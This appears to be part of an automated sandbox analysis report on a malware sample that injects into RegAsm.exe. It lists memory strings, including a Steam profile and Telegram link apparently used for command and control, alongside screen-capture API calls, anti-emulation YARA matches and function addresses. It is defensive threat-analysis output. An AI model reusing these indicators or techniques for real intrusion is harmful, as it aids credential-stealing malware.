Source: IEHJJE.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: IEHJJE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IEHJJE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=tIrWyaxi8A
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=roSu
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=sV4C07YVtT0V&amp
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/r
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/toolt
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: IEHJJE.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IEHJJE.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IEHJJE.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199680449169
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000001.00000002.2880922498.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169/badges
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169/inventory/
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.comv
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp, HDBKJE.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: HDBKJE.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp, HDBKJE.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: HDBKJE.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: file.exe, 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/r1g1o
Source: file.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: IEHJJE.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: IEHJJE.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: unknown

HTTPS traffic detected: 104.105.90.131:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004102E8 _EH_prolog,memset,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_004102E8

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.file.exe.3d65570.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.file.exe.3d65570.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02D20C38	0_2_02D20C38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02D20C28	0_2_02D20C28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02D2099F	0_2_02D2099F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02D209B0	0_2_02D209B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041B0AA	1_2_0041B0AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041D1C0	1_2_0041D1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041AB59	1_2_0041AB59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041BCD7	1_2_0041BCD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4A4CF0	1_2_1B4A4CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B492018	1_2_1B492018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5B9A20	1_2_1B5B9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B545940	1_2_1B545940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B491C9E	1_2_1B491C9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B492AA9	1_2_1B492AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4912A8	1_2_1B4912A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49292D	1_2_1B49292D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5F9CC0	1_2_1B5F9CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5253B0	1_2_1B5253B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B493580	1_2_1B493580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B66D209	1_2_1B66D209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5B5040	1_2_1B5B5040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4A9000	1_2_1B4A9000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B54D6D0	1_2_1B54D6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B539690	1_2_1B539690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5F9430	1_2_1B5F9430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B594A60	1_2_1B594A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B491EF1	1_2_1B491EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4B8D2A	1_2_1B4B8D2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B493AB2	1_2_1B493AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B518120	1_2_1B518120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5B8030	1_2_1B5B8030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B510090	1_2_1B510090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4B8763	1_2_1B4B8763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4F4760	1_2_1B4F4760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B528760	1_2_1B528760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4B8680	1_2_1B4B8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5D0480	1_2_1B5D0480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4BBAB0	1_2_1B4BBAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49251D	1_2_1B49251D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49290A	1_2_1B49290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4C3370	1_2_1B4C3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49F160	1_2_1B49F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49174E	1_2_1B49174E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49AA40	1_2_1B49AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49EA80	1_2_1B49EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B58A940	1_2_1B58A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5AA900	1_2_1B5AA900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5769C0	1_2_1B5769C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B493E3B	1_2_1B493E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5CE800	1_2_1B5CE800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49481D	1_2_1B49481D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4F2EE0	1_2_1B4F2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4D6E80	1_2_1B4D6E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B66AEBE	1_2_1B66AEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4919DD	1_2_1B4919DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B51A0B0	1_2_1B51A0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B49209F	1_2_1B49209F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4A66C0	1_2_1B4A66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4BA560	1_2_1B4BA560
